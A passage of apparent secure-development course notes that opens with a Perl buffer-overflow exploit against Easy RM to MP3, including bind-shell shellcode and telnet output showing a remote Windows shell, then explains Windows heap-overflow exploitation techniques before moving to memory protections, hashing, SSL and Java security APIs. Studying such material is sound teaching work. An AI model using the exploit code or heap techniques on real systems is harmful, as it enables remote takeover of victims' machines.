."\x4c\x4e\x4d\x4c\x4b\x51\x50\x45\x58\x51\x4e\x43\x58\x4c" ."\x4e\x50\x4e\x44\x4e\x4a\x4c\x50\x50\x4b\x4f\x48\x56\x43" ."\x56\x50\x53\x45\x36\x45\x38\x50\x33\x50\x32\x42\x48\x43" .<...>"\x50\x41\x41";

Let’s use this shellcode. The new exploit looks like this : P.S. I have manually broken theshellcode shown here. So if you copy & paste the exploit it will not work. But you should knowby now how to make a working exploit.

## Exploit for Easy RM to MP3 27.3.700 vulnerability, discovered by Crazy Hacker# Written by Peter Van Eeckhoutte# http://www.corelan.be:8800# Greetings to Saumil and SK :-)## tested on Windows XP SP3 (En)###my $file= "exploitrmtomp3.m3u";

my $junk= "A" x 26094;my $eip = pack('V',0x01ccf23a); #jmp esp from MSRMCcodec02.DLL

my $shellcode = "\x90" x 25;

# windows/shell_bind_tcp - 703 bytes

Page 124: Java secure development   part 1

123 | P a g e

# http://www.metasploit.com# Encoder: x86/alpha_upper# EXITFUNC=seh, LPORT=4444, RHOST=$shellcode=$shellcode."\x89\xe1\xdb\xd4\xd9\x71\xf4\x58\x50\x59\x49\x49\x49\x49" ."\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" ."\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" ."\x42\x41\x41\x42\x54\x00\x41\x51\x32\x41\x42\x32\x42\x42" ."\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x42" ."\x4a\x4a\x4b\x50\x4d\x4b\x58\x4c\x39\x4b\x4f\x4b\x4f\x4b" ."\x4f\x43\x50\x4c\x4b\x42\x4c\x51\x34\x51\x34\x4c\x4b\x47" ."\x35\x47\x4c\x4c\x4b\x43\x4c\x44\x45\x44\x38\x45\x51\x4a" ."\x4f\x4c\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x51\x30\x43" ."\x31\x4a\x4b\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a" ."\x4e\x46\x51\x49\x50\x4a\x39\x4e\x4c\x4d\x54\x49\x50\x44" ."\x34\x45\x57\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a" ."\x4b\x4a\x54\x47\x4b\x51\x44\x51\x34\x47\x58\x44\x35\x4a" ."\x45\x4c\x4b\x51\x4f\x47\x54\x43\x31\x4a\x4b\x45\x36\x4c" ."\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a" ."\x4b\x44\x43\x46\x4c\x4c\x4b\x4d\x59\x42\x4c\x46\x44\x45" ."\x4c\x43\x51\x48\x43\x46\x51\x49\x4b\x45\x34\x4c\x4b\x50" ."\x43\x50\x30\x4c\x4b\x51\x50\x44\x4c\x4c\x4b\x42\x50\x45" ."\x4c\x4e\x4d\x4c\x4b\x51\x50\x45\x58\x51\x4e\x43\x58\x4c" ."\x4e\x50\x4e\x44\x4e\x4a\x4c\x50\x50\x4b\x4f\x48\x56\x43" ."\x56\x50\x53\x45\x36\x45\x38\x50\x33\x50\x32\x42\x48\x43" ."\x47\x43\x43\x47\x42\x51\x4f\x50\x54\x4b\x4f\x48\x50\x42" ."\x48\x48\x4b\x4a\x4d\x4b\x4c\x47\x4b\x50\x50\x4b\x4f\x48" ."\x56\x51\x4f\x4d\x59\x4d\x35\x45\x36\x4b\x31\x4a\x4d\x43" ."\x38\x43\x32\x46\x35\x43\x5a\x44\x42\x4b\x4f\x4e\x30\x42" ."\x48\x48\x59\x45\x59\x4c\x35\x4e\x4d\x50\x57\x4b\x4f\x48" ."\x56\x46\x33\x46\x33\x46\x33\x50\x53\x50\x53\x50\x43\x51" ."\x43\x51\x53\x46\x33\x4b\x4f\x4e\x30\x43\x56\x45\x38\x42" ."\x31\x51\x4c\x42\x46\x46\x33\x4c\x49\x4d\x31\x4a\x35\x42" ."\x48\x4e\x44\x44\x5a\x44\x30\x49\x57\x50\x57\x4b\x4f\x48" ."\x56\x43\x5a\x44\x50\x50\x51\x51\x45\x4b\x4f\x4e\x30\x43" ."\x58\x49\x34\x4e\x4d\x46\x4e\x4b\x59\x50\x57\x4b\x4f\x4e" ."\x36\x50\x53\x46\x35\x4b\x4f\x4e\x30\x42\x48\x4d\x35\x50" ."\x49\x4d\x56\x50\x49\x51\x47\x4b\x4f\x48\x56\x50\x50\x50" ."\x54\x50\x54\x46\x35\x4b\x4f\x48\x50\x4a\x33\x45\x38\x4a" ."\x47\x44\x39\x48\x46\x43\x49\x50\x57\x4b\x4f\x48\x56\x50" ."\x55\x4b\x4f\x48\x50\x42\x46\x42\x4a\x42\x44\x45\x36\x45" ."\x38\x45\x33\x42\x4d\x4d\x59\x4b\x55\x42\x4a\x46\x30\x50" ."\x59\x47\x59\x48\x4c\x4b\x39\x4a\x47\x43\x5a\x50\x44\x4b" ."\x39\x4b\x52\x46\x51\x49\x50\x4c\x33\x4e\x4a\x4b\x4e\x47" ."\x32\x46\x4d\x4b\x4e\x51\x52\x46\x4c\x4d\x43\x4c\x4d\x42" ."\x5a\x50\x38\x4e\x4b\x4e\x4b\x4e\x4b\x43\x58\x42\x52\x4b" .

Page 125: Java secure development   part 1

124 | P a g e

"\x4e\x4e\x53\x42\x36\x4b\x4f\x43\x45\x51\x54\x4b\x4f\x49" ."\x46\x51\x4b\x46\x37\x46\x32\x50\x51\x50\x51\x46\x31\x42" ."\x4a\x45\x51\x46\x31\x46\x31\x51\x45\x50\x51\x4b\x4f\x48" ."\x50\x43\x58\x4e\x4d\x4e\x39\x45\x55\x48\x4e\x51\x43\x4b" ."\x4f\x49\x46\x43\x5a\x4b\x4f\x4b\x4f\x47\x47\x4b\x4f\x48" ."\x50\x4c\x4b\x46\x37\x4b\x4c\x4c\x43\x49\x54\x45\x34\x4b" ."\x4f\x4e\x36\x50\x52\x4b\x4f\x48\x50\x43\x58\x4c\x30\x4c" ."\x4a\x44\x44\x51\x4f\x46\x33\x4b\x4f\x48\x56\x4b\x4f\x48" ."\x50\x41\x41";

open($FILE,">$file");print $FILE $junk.$eip.$shellcode;close($FILE);print "m3u File Created successfully\n";

Create the m3u file, open it in the application. Easy RM to MP3 now seems to hang :

Telnet to this host on port 4444:

root@bt:/# telnet 192.168.0.197 4444Trying 192.168.0.197...Connected to 192.168.0.197.Escape character is '^]'.Microsoft Windows XP [Version 5.1.2600](C) Copyright 1985-2001 Microsoft Corp.

C:\Program Files\Easy RM to MP3 Converter>

Pat boom!

Now go out and build your own exploits. Don’t forget to make yourself some nice ASCII art, get al33t name

Heap Overflows

Most developers are aware of the dangers of stack based buffer overflows but too many stillbelieve that if a heap based buffer is overflowed it’s not too much of a problem.

Page 126: Java secure development   part 1

125 | P a g e

One paper on secure coding suggested that to solve the problem of stack based overflows wasto move the buffer to the heap!

The heap is an area of memory used for storage of dynamic data. Every process has a defaultprocess heap but a developer can create their own private heaps. Space is allocated from theheap and freed when finished with.

Each heap starts with a structure. This structure, amongst other data, contains an array of 128LIST_ENTRY structures. Each LIST_ENTRY structure contains two pointers – see winnt.h. Thisarray can be found at 0x178 bytes into the heap structure – call it the FreeList array.

When a heap is first created there are two pointers that point to the first free block set inFreeList[0]. Assuming the heap base address is 0x00350000 then first available block can befound at 0x00350688.

0x00350178 (FreeList[0].Flink) = 0x00350688 (First Free Block)0x0035017C (FreeList[0].Blink) = 0x00350688 (First Free Block)0x00350688 (First Free Block) = 0x00350178 (FreeList[0])0x0035068C (First Free Block+4) = 0x00350178 (FreeList[0])

When an allocation occurs these pointers are updated accordingly. As more allocations andfrees occur these pointers are continually updated and in this fashion allocated blocks aretracked in a doubly linked list.

When a heap based buffer is overflowed the control information is overwritten so when thebuffer (allocated block) is freed and it comes to updating the pointers in the FreeList arraythere’s going to be an access violation.

Access violation77F6256F mov dword ptr [ecx],eax77F62571 mov dword ptr [eax+4],ecx

Page 127: Java secure development   part 1

126 | P a g e

EAX = 0x42424242ECX = 0x42424242

If we own both EAX and ECX we have an arbitrary DWORD overwrite. We can overwrite the dataat any 32bit address with a 32bit value of our choosing.

Exploiting Heap Overflows

Repairing the Heap

After the overflow the heap is corrupt so you’ll need to repair the heap.

Many of the Windows API calls use the default process heap and if this is corrupt theexploit will access violate.

Could repair on a per vulnerability/exploit basis. Time consuming and could run intoproblems.

Need a generic way to repair the heap which is effective for all exploits. Write it onceand reuse it.

The best method for repairing the heap is to reset the heap making it “appear” as if it isa fresh new heap. This will keep other heap data intact but allow fresh allocations.

We reset our overflow heap control structure with heap.TotalFreeSize and set the flagsto 0x14 then set heap.FreeLists[0].Flink and heap.FreeLists[0].Blink to the start of thefake control structure.

See code listing B – asm-repair-heap.

Unhandled Exception Filter

The Unhandled Exception Filter method is the most common method used. The UEF isthe “last ditch effort” exception handler.

Location varies from OS to OS and SP to SP. Disassemble theSetUnhandledExceptionFilter function.

77E7E5A1 mov ecx,dword ptr [esp+4]

77E7E5A5 mov eax,[77ED73B4]

77E7E5AA mov dword ptr ds:[77ED73B4h],ecx

Page 128: Java secure development   part 1

127 | P a g e

77E7E5B0 ret 4

UEF = 0x77ED73B4

When an unhandled exception occurs the following block of code is executed:

77E93114 mov eax,[77ED73B4]77E93119 cmp eax,esi77E9311B je 77E9313277E9311D push edi ***77E9311E call eax

Essence of the method is to set our own Unhandled Exception Filter.

EDI was pushed onto the stack. 0x78 bytes past EDI is a pointer to the end of the buffer– just before the heap management control stuff.

Set the UEF to an address that points to a

CALL DWORD PTR [EDI + 0x78]

Many can be found in netapi32.dll, user32.dll, rpcrt4.dll for example.Notes: Other Operating Systems may not use EDI. Windows 2000 for example has apointer at ESI+0x4C and EBP+0x74.

Using this method you need to know the target system – i.e. what OS and what SP level.

Vectored Exception Handling

Vectored Exception Handling is new as of Windows XP.

Unlike traditional frame based exception handling where EXCEPTION_REGISTRATIONstructures are stored on the stack information about VEH is stored on the heap.

A pointer to the first Vectored Exception Handler is stored at 0x77FC3210. Points to a_VECTORED_EXCEPTION_NODE.

struct _VECTORED_EXCEPTION_NODE

{DWORD m_pNextNode;DWORD m_pPreviousNode;PVOID m_pfnVectoredHandler;

}

Page 129: Java secure development   part 1

128 | P a g e

Vectored handlers are called before any frame based handlers! Technique involvesoverwriting the pointer to the first _VECTORED_EXCEPTION_NODE @ 0x77FC3210 witha pointer to a fake VE node.

77F7F49E mov esi,dword ptr ds:[77FC3210h]77F7F4A4 jmp 77F7F4B477F7F4A6 lea eax,[ebp-8]77F7F4A9 push eax77F7F4AA call dword ptr [esi+8]77F7F4AD cmp eax,0FFh77F7F4B0 je 77F7F4CC77F7F4B2 mov esi,dword ptr [esi]77F7F4B4 cmp esi,edi77F7F4B6 jne 77F7F4A6

The code behind is calling the vectored exception handler.

Need to find a pointer on the stack to our buffer. Assume it can be found at0x0012FF50. This becomes our m_pfnVectoredHandler making the address of ourpseudo _VECTORED_EXCEPTION_NODE 0x0012FF48.

Remember on the free we get an arbitrary DWORD overwrite:

77F6256F mov dword ptr [ecx],eax77F62571 mov dword ptr [eax+4],ecx

We set EAX to 0x77FC320C and ECX to 0x0012FF48.

0x77FC320C is moved into 0x0012FF48 then 0x0012FF48 is moved into 0x77FC3210 –thus our pointer is set. When an exception occurs 0x0012FF48 (our pseudo VEN) ismoved into ESI and DWORD PTR[ESI+8] is called. ESI+8 is a pointer to our buffer.

Notes: If the location of the stack (and thus the pointer to the buffer) moves thismethod can be unreliable.

Each process contains a structure known as the PROCESS ENVIRONMENT BLOCK or PEB.The PEB can be referenced from the Thread Information/Environment Block TIB/TEB.FS:[0] points to the TEB.

mov eax, dword ptr fs:[0x30]mov eax, dword ptr fs:[eax+0x18]

Page 130: Java secure development   part 1

129 | P a g e

As well as containing other process specific data the PEB contains some pointers toRtlEnterCriticalSection and RtlLeaveCriticalSection. These pointers are referenced fromRtlAccquirePebLock and RtlReleasePebLock. RtlAccquirePebLock is called fromExitProcess for example.

The location of the PEB is stable across Windows NT 4 / 2000 / XP and thus the pointerto RtlEnterCriticalSection can be found at 0x7FFDF020. Whilst the PEB can be found atthe same address in Windows 2003 the function pointers are no longer present so thismethod won’t work with 2003.

The method simply involves overwriting the pointer to RtlEnterCriticalSection in the PEBwith the address of an instruction that will return to the buffer.

Each Thread Environment Block contains a pointer to the first frame based exceptionhandler. The first thread’s TEB has a base address of 0x7FFDE000 and each new thread’sTEB is assigned an address growing towards 0x00000000. If a thread exits and a newthread is created then it will get the address of the previous thread’s TEB.

This can lead to a “messy” TEB table and can make this method uncertain.

However, if the address of the vulnerable thread’s TEB is stable then this method can beused quite effectively.

The method involves overwriting the pointer to the first exception handler in the TEBwith an address that points to an instruction that will get path of execution back to thebuffer.

There are other ways to exploit heap based buffer overflows to execute arbitrary codeto defeat mechanisms such as marking the heap as non-executable.

Assume we have a process with the heap marked as non-executable. This can bedefeated with pointer subversion.

An example of this can be found in the fault reporting functionality of theUnhandledExceptionFilter() function.

The fault reporting code calls GetSystemDirectoryW() to which “faultrep.dll” isconcatenated. This library is the loaded and the ReportFault() function is called.

GetSystemDirectoryW() references a pointer in the .data section of kernel32.dll thatpoints to where the wide character string of the Windows system directory can befound. This pointer can be found at 0x77ED73BC. On overflow we can set this pointer toour own system directory.

Page 131: Java secure development   part 1

130 | P a g e

Thus when GetSystemDirectoryW() is called the “system” directory is a directory ownedby the attacker – this can even be a UNC path. The attacker would create their ownfaultrep.dll which exports a ReportFault() function and so when theUnhandledExceptionFilter() function is called arbitrary code can be executed.

Whilst code paths are finite I’d argue that the possibilities of what can be done arelimited more by the imagination.

Off-By-One

Signed vs. Un-Signed

Page 132: Java secure development   part 1

131 | P a g e

There are two types of numeric variables:

o One is signed, ranges from -32767 to +32767o Second one has no sign, ranges from 0 to 65535

The first determines if the number is negative or not, let’s take an example:

a) 0x11E3 Signed Short Integer0x11E3 = 0001000111100011 = -7407

b) 0x11E3 כ Unsigned Short Integer0x11E3 = 1110111100011100 = 58129

Memory Protection Mechanisms

Security Cookie (Canary)

• This mechanism was created to avoid successful code execution when overwriting stackvariables.

• The mechanism creates a random value on process runtime, plants it before thefunctions return pointer and verifying it before calling the “ret” command.

Page 133: Java secure development   part 1

132 | P a g e

• While the application is attacked, and the return address is overwritten, this value isalso overwritten, the memory overwrite is being detected and the application does notcall the return command. (it usually closes itself)

• This way, there is no way to overwrote the return address (EIP) without the softwareknowing it and protecting itself

SafeSEH

• This mechanism was invented to prevent attackers from executing code by overwritingthe error handler pointer

Page 134: Java secure development   part 1

133 | P a g e

• SHE overwrites were used to bypass the Stack’s Security Cookie by overwriting theexception handler and causing an exception, therefore executing code before thefunction returns and before the stack cookie is being verified.

• SafeSEH denies the ability of an attacker to execute code by overwriting the SHE handlerby maintaining a white-list of allowed SHE function pointers, gathered at compilationtime and there no unauthorized dynamically added/written SHE pointer will beexecuted.

• The problem with this method is that old unsafe libraries that are loaded into theprocess at known addresses can be used as trampolines to execute code.

Address Space Layout Randomization (ASLR)

Page 135: Java secure development   part 1

134 | P a g e

• ASLR is a mechanism which randomizes the modules addresses in the application’smemory space, creating an unpredictable process layout and denying attackers fromknowing the memory addresses of useful code and system calls.

• The system calls/APIs addresses are being randomizes with each system reboot

• The application’s modules addresses are being randomizes with process initialization

• ASLR eliminates SafeSEH bypassing with old libraries, stack cookie bypass using return-to-libc attacks and disabling DEP using return-to-libc.

NX (No eXecute – Hardware DEP)

• NX is a bit in each the PageEntry which tells the CPU/Operating System if the bytes inthis memory page is code and is meant and allowed to be executed.

• This bits purpose is denying attackers from executing code while attacking applications

• When the attacker executes the attack, he makes a jump into his own code, when DEP isenables the application closes right after the jump, since it is not allowed to executecode from user/attacker influenced memory locations such as the Stack and the Head.

Page 136: Java secure development   part 1

135 | P a g e

Windows - Software DEP

NX – In Sun VM Environment

Page 137: Java secure development   part 1

136 | P a g e

NX – Process Support

Page 138: Java secure development   part 1

137 | P a g e

Page 139: Java secure development   part 1

138 | P a g e

Basic Intoduction To Cryptography

Hash

A hash function is any well-defined procedure or mathematical function that converts a large,possibly variable-sized amount of data into a small datum, usually a single integer that mayserve as an index to an array (cf. associative array). The values returned by a hash function arecalled hash values, hash codes, hash sums, checksums or simply hashes.

Hash functions are mostly used to speed up table lookup or data comparison tasks—such asfinding items in a database, detecting duplicated or similar records in a large file, finding similarstretches in DNA sequences, and so on.

A hash function may map two or more keys to the same hash value. In many applications, it isdesirable to minimize the occurrence of such collisions, which means that the hash functionmust map the keys to the hash values as evenly as possible. Depending on the application, otherproperties may be required as well. Although the idea was conceived in the 1950s, the design ofgood hash functions is still a topic of active research.

Hash functions are related to (and often confused with) checksums, check digits, fingerprints,randomization functions, error correcting codes, and cryptographic hash functions. Althoughthese concepts overlap to some extent, each has its own uses and requirements and is designedand optimized differently. The HashKeeper database maintained by the American National DrugIntelligence Center, for instance, is more aptly described as a catalog of file fingerprints than ofhash values.

Page 140: Java secure development   part 1

139 | P a g e

MD5 HASH “Reverse”

Let’s create the MD5 Hash of the text “Password10”:

Let’s submit the hash to a public website and watch the results:

Page 141: Java secure development   part 1

140 | P a g e

Rainbow Tables

A rainbow table is a pre-computed table for reversing cryptographic hash functions, usually forcracking password hashes. Tables are usually used in recovering the plaintext password, up to acertain length consisting of a limited set of characters. It is a form of time-memory tradeoff,using less CPU at the cost of more storage. Proper key derivation functions employ salt to makethis attack infeasible.

Simplified rainbow table with 3 reduction functions

Rainbow tables are a refinement of an earlier, simpler algorithm by Martin Hellman that usedthe inversion of hashes by looking up pre-computed hash chains.

Page 142: Java secure development   part 1

141 | P a g e

SSL

How Does SSL Work?

Transport Layer Security (TLS) and its predecessor, Secure Sockets Layer (SSL), are cryptographicprotocols that provide communication security over the Internet. TLS and SSL encrypt thesegments of network connections above theTransport Layer, using asymmetric cryptography forprivacy and a keyed message authentication code (trustworthy symmetric key exchange) for messagereliability.

Several versions of the protocols are in widespread use in applications such as webbrowsing, electronic mail, Internet faxing, instant messaging and voice-over-IP (VoIP).

The TLS protocol allows client/server applications to communicate across a network in a way designed to

prevent eavesdropping and tampering.

A TLS client and server negotiate a stateful connection by using a handshaking procedure. During this

handshake, the client and server agree on various parameters used to establish the connection's security.

The handshake begins when a client connects to a TLS-enabled server requesting a secure connection

and presents a list of supported CipherSuites (ciphers and hash functions).

From this list, the server picks the strongest cipher and hash function that it also supports and

notifies the client of the decision.

Page 143: Java secure development   part 1

142 | P a g e

The server sends back its identification in the form of a digital certificate. The certificate usually

contains the server name, the trusted certificate authority (CA) and the server's public encryption

key.

The client may contact the server that issued the certificate (the trusted CA as above) and confirm

the validity of the certificate before proceeding.

In order to generate the session keys used for the secure connection, the client encrypts a random

number with the server's public key and sends the result to the server. Only the server should be able

to decrypt it, with its private key.

From the random number, both parties generate key material for encryption and decryption.

This concludes the handshake and begins the secured connection, which is encrypted and decrypted with

the key material until the connection closes.

If any one of the above steps fails, the TLS handshake fails and the connection is not created.

Page 144: Java secure development   part 1

143 | P a g e

Java Language Security and Bytecode Verification

type-safe

automatic memory management

garbage collection

range-checking on arrays

the language defines four distinct access levels: private, protected, public, and, if unspecified,

package. The most open access specifier is public—access is allowed to anyone. The mostrestrictive modifier is private—access is not allowed outside the particular class in which theprivate member (a method, for example) is defined. The protected modifier allows access to anysubclass, or to other classes within the same package. Package-level access only allows access toclasses within the same package.

A compiler translates Java programs into a machine-independent bytecode representation. Abytecode verifier is invoked to ensure that only legitimate bytecodes are executed in the Javaruntime. It checks that the bytecodes conform to the Java Language Specification and do notviolate Java language rules or namespace restrictions. The verifier also checks for memorymanagement violations, stack underflows or overflows, and illegal data typecasts. Oncebytecodes have been verified, the Java runtime prepares them for execution.

Security ProvidersThe java.security.Provider class encapsulates the notion of a security provider in the Javaplatform.It specifies the provider’s name and lists the security services it implements. Multiple providersmay be configuredat the same time, and are listed in order of preference. When a security service is requested, thehighest priorityprovider that implements that service is selected.Applications rely on the relevant getInstance method to obtain a security service from anunderlying provider.For example, message digest creation represents one type of service available from providers.(Chapter 4 discussesmessage digests and other cryptographic services.) An application invokes the getInstancemethod in thejava.security.MessageDigest class to obtain an implementation of a specific message digestalgorithm,such as MD5.

Page 145: Java secure development   part 1

144 | P a g e

MessageDigest md = MessageDigest.getInstance("MD5");The program may optionally request an implementation from a specific provider, by indicatingthe provider name,as in the following:MessageDigest md =MessageDigest.getInstance("MD5", "ProviderC");Figures 1 and 2 illustrate these options for requesting an MD5 message digest implementation.Both figures showthree providers that implement message digest algorithms. The providers are ordered bypreference from left toright (1-3). In Figure 1, an application requests an MD5 algorithm implementation withoutspecifying a providerSun Microsystems, Inc. Basic Security Architecture P3name. The providers are searched in preference order and the implementation from the firstprovider supplyingthat particular algorithm, ProviderB, is returned. In Figure 2, the application requests the MD5algorithmimplementation from a specific provider, ProviderC. This time the implementation from thatprovider is returned,even though a provider with a higher preference order, ProviderB, also supplies an MD5implementation.

Figure 1 – Provider searching Figure 2 – Specific provider requested

The Java platform implementation from Sun Microsystems includes a number of pre-configureddefault

Page 146: Java secure development   part 1

145 | P a g e

providers that implement a basic set of security services that can be used by applications. Notethat other vendorimplementations of the Java platform may include different sets of providers that encapsulatevendor-specificsets of security services. When this paper mentions built-in default providers, it is referencingthose available inSun’s implementation.The sections below on the various security areas (cryptography, authentication, etc.) eachinclude descriptionsof the relevant services supplied by the default providers. A table in Appendix C summarizes allof the defaultproviders.File LocationsCertain aspects of Java security mentioned in this paper, including the configuration ofproviders, may becustomized by setting security properties. You may set security properties statically in thesecurity properties file,which by default is the java.security file in the lib/security directory of the directory where theJava™ RuntimeEnvironment (JRE) is installed. Security properties may also be set dynamically by callingappropriate methods ofthe Security class (in the java.security package).The tools and commands mentioned in this paper are all in the ~jre/bin directory, where ~jrestands for thedirectory in which the JRE is installed. The cacerts file mentioned in Chapter 5 is in~jre/lib/security.

CryptographyThe Java cryptography architecture is a framework for accessing and developing cryptographicfunctionality forthe Java platform. It includes APIs for a large variety of cryptographic services, including:• Message digest algorithms• Digital signature algorithms• Symmetric bulk encryption• Symmetric stream encryption• Asymmetric encryption• Password-based encryption (PBE)• Elliptic Curve Cryptography (ECC)• Key agreement algorithms• Key generators• Message Authentication Codes (MACs)• (Pseudo-)random number generatorsFor historical (export control) reasons, the cryptography APIs are organized into two distinct packages.Thejava.security package contains classes that are not subject to export controls (like Signature and

Page 147: Java secure development   part 1

146 | P a g e

MessageDigest). The javax.crypto package contains classes that are subject to export controls (likeCipher and KeyAgreement).The cryptographic interfaces are provider-based, allowing for multiple and interoperable cryptographyimplementations.Some providers may perform cryptographic operations in software; others may perform the operationson ahardware token (for example, on a smartcard device or on a hardware cryptographic accelerator).Providers thatimplement export-controlled services must be digitally signed.The Java platform includes built-in providers for many of the most commonly used cryptographicalgorithms,including the RSA and DSA signature algorithms, the DES, AES, and ARCFOUR encryption algorithms, theMD5and SHA-1 message digest algorithms, and the Diffie-Hellman key agreement algorithm. These defaultprovidersimplement cryptographic algorithms in Java code.The Java platform also includes a built-in provider that acts as a bridge to a native PKCS#11 (v2.x) token.Thisprovider, named “SunPKCS11”, allows Java applications to seamlessly access cryptographic serviceslocated onPKCS#11-compliant tokens.

Public Key InfrastructurePublic Key Infrastructure (PKI) is a term used for a framework that enables secure exchange ofinformation basedon public key cryptography. It allows identities (of people, organizations, etc.) to be bound to digitalcertificatesand provides a means of verifying the authenticity of certificates. PKI encompasses keys, certificates,public keyencryption, and trusted Certification Authorities (CAs) who generate and digitally sign certificates.The Java platform includes API and provider support for X.509 digital certificates and certificaterevocation lists(CRLs), as well as PKIX-compliant certification path building and validation. The classes related to PKI arelocatedin the java.security and java.security.cert packages.Key and Certificate StorageThe Java platform provides for long-term persistent storage of cryptographic keys and certificates via keyandcertificate stores. Specifically, the java.security.KeyStore class represents a key store, a secure repositoryof cryptographic keys and/or trusted certificates (to be used, for example, during certification pathvalidation),and the java.security.cert.CertStore class represents a certificate store, a public and potentiallyvast repository of unrelated and typically untrusted certificates. A CertStore may also store CRLs.

Page 148: Java secure development   part 1

147 | P a g e

KeyStore and CertStore implementations are distinguished by types. The Java platform includes thestandard PKCS11 and PKCS12 key store types (whose implementations are compliant with thecorresponding PKCSspecifications from RSA Security), as well as a proprietary file-based key store type called JKS (whichstands for“Java Key Store”).The Java platform includes a special built-in JKS key store, cacerts, that contains a number of certificatesforwell-known, trusted CAs. The keytool documentation (see the security features documentation link inChapter 9)lists the certificates included in cacerts.The SunPKCS11 provider mentioned in the “Cryptography” chapter (Chapter 4) includes a PKCS11KeyStoreimplementation. This means that keys and certificates residing in secure hardware (such as a smartcard)can beaccessed and used by Java applications via the KeyStore API. Note that smartcard keys may not bepermittedto leave the device. In such cases, the java.security.Key object reference returned by the KeyStoreAPI may simply be a reference to the key (that is, it would not contain the actual key material). Such a Keyobject can only be used to perform cryptographic operations on the device where the actual key resides.The Java platform also includes an LDAP certificate store type (for accessing certificates stored in an LDAPdirectory), as well as an in-memory Collection certificate store type (for accessing certificates managed inajava.util.Collection object).PKI ToolsThere are two built-in tools for working with keys, certificates, and key stores:keytool is used to create and manage key stores. It can• Create public/private key pairs• Display, import, and export X.509 v1, v2, and v3 certificates stored as filesSun Microsystems, Inc. Public Key Infrastructure P7• Create self-signed certificates• Issue certificate (PKCS#10) requests to be sent to CAs• Import certificate replies (obtained from the CAs sent certificate requests)• Designate public key certificates as trustedThe jarsigner tool is used to sign JAR files, or to verify signatures on signed JAR files. The Java™ ARchive(JAR) fileformat enables the bundling of multiple files into a single file. Typically a JAR file contains the class filesandauxiliary resources associated with applets and applications. When you want to digitally sign code, youfirst usekeytool to generate or import appropriate keys and certificates into your key store (if they are not therealready),then use the jar tool to place the code in a JAR file, and finally use the jarsigner tool to sign the JAR file.Thejarsigner tool accesses a key store to find any keys and certificates needed to sign a JAR file or to verifythesignature of a signed JAR file.Note – jarsigner can optionally generate signatures that include a timestamp. Systems (such as Java™ Plug-in) thatverify JAR filesignatures can check the timestamp and accept a JAR file that was signed while the signing certificate was valid ratherthan

Page 149: Java secure development   part 1

148 | P a g e

requiring the certificate to be current. (Certificates typically expire annually, and it is not reasonable to expect JAR filecreatorsto re-sign deployed JAR files annually.)P8 Authentication Sun Microsystems, Inc.

Chapter 6AuthenticationAuthentication is the process of determining the identity of a user. In the context of the Java™ runtimeenvironment,it is the process of identifying the user of an executing Java program. In certain cases, this process mayrely onthe services described in the “Cryptography” chapter (Chapter 4).The Java platform provides APIs that enable an application to perform user authentication via pluggableloginmodules. Applications call into the LoginContext class (in the javax.security.auth.login package),which in turn references a configuration. The configuration specifies which login module (animplementation of thejavax.security.auth.spi.LoginModule interface) is to be used to perform the actual authentication.Since applications solely talk to the standard LoginContext API, they can remain independent from theunderlying plug-in modules. New or updated modules can be plugged in for an application without havingtomodify the application itself. Figure 3 illustrates the independence between applications and underlyingloginmodules:

Page 150: Java secure development   part 1

149 | P a g e

Page 151: Java secure development   part 1

150 | P a g e

It is important to note that although login modules are pluggable components that can be configured intotheJava platform, they are not plugged in via security providers. Therefore, they do not follow the providersearchingmodel described in Chapter 3. Instead, as is shown in the above diagram, login modules are administeredby theirown unique configuration.

ApplicationAuthenticationFrameworkSmartcard Kerberos Username/PasswordConfigurationThe Java platform provides the following built-in LoginModules, all in the com.sun.security.auth.module package:• Krb5LoginModule for authentication using Kerberos protocols• JndiLoginModule for username/password authentication using LDAP or NIS databases• KeyStoreLoginModule for logging into any type of key store, including a PKCS#11 tokenkey storeAuthentication can also be achieved during the process of establishing a secure communication channelbetweentwo peers. The Java platform provides implementations of a number of standard communicationprotocols, whichare discussed in the following chapter.

Secure CommunicationThe data that travels across a network can be accessed by someone who is not the intended recipient.When thedata includes private information, such as passwords and credit card numbers, steps must be taken tomake thedata unintelligible to unauthorized parties. It is also important to ensure that you are sending the data totheappropriate party, and that the data has not been modified, either intentionally or unintentionally, duringtransport.Cryptography forms the basis required for secure communication, and that is described in Chapter 4. TheJavaplatform also provides API support and provider implementations for a number of standard securecommunicationprotocols.SSL/TLSThe Java platform provides APIs and an implementation of the SSL and TLS protocols that includesfunctionality fordata encryption, message integrity, server authentication, and optional client authentication. Applicationscan useSSL/TLS to provide for the secure passage of data between two peers over any application protocol, suchas HTTP

Page 152: Java secure development   part 1

151 | P a g e

on top of TCP/IP.The javax.net.ssl.SSLSocket class represents a network socket that encapsulates SSL/TLS supporton top of a normal stream socket (java.net.Socket). Some applications might want to use alternate datatransport abstractions (e.g., New-I/O); the javax.net.ssl.SSLEngine class is available to produce andconsume SSL/TLS packets.The Java platform also includes APIs that support the notion of pluggable (provider-based) key managersand trustmanagers. A key manager is encapsulated by the javax.net.ssl.KeyManager class, and manages the keysused to perform authentication. A trust manager is encapsulated by the TrustManager class (in the samepackage), and makes decisions about who to trust based on certificates in the key store it manages.SASLSimple Authentication and Security Layer (SASL) is an Internet standard that specifies a protocol forauthenticationand optional establishment of a security layer between client and server applications. SASL defines howauthenticationdata is to be exchanged, but does not itself specify the contents of that data. It is a framework into whichspecific authentication mechanisms that specify the contents and semantics of the authentication datacan fit.There are a number of standard SASL mechanisms defined by the Internet community for various securitylevelsand deployment scenarios.The Java SASL API defines classes and interfaces for applications that use SASL mechanisms. It is definedto bemechanism-neutral; an application that uses the API need not be hardwired into using any particular SASLmechanism. Applications can select the mechanism to use based on desired security features. The APIsupportsboth client and server applications. The javax.security.sasl.Sasl class is used to create SaslClientand SaslServer objects.P10 Secure Communication Sun Microsystems, Inc.SASL mechanism implementations are supplied in provider packages. Each provider may support one ormore SASLmechanisms and is registered and invoked via the standard provider architecture.The Java platform includes a built-in provider that implements the following SASL mechanisms:• CRAM-MD5, DIGEST-MD5, EXTERNAL, GSSAPI, and PLAIN client mechanisms• CRAM-MD5, DIGEST-MD5, and GSSAPI server mechanismsGSS-API and 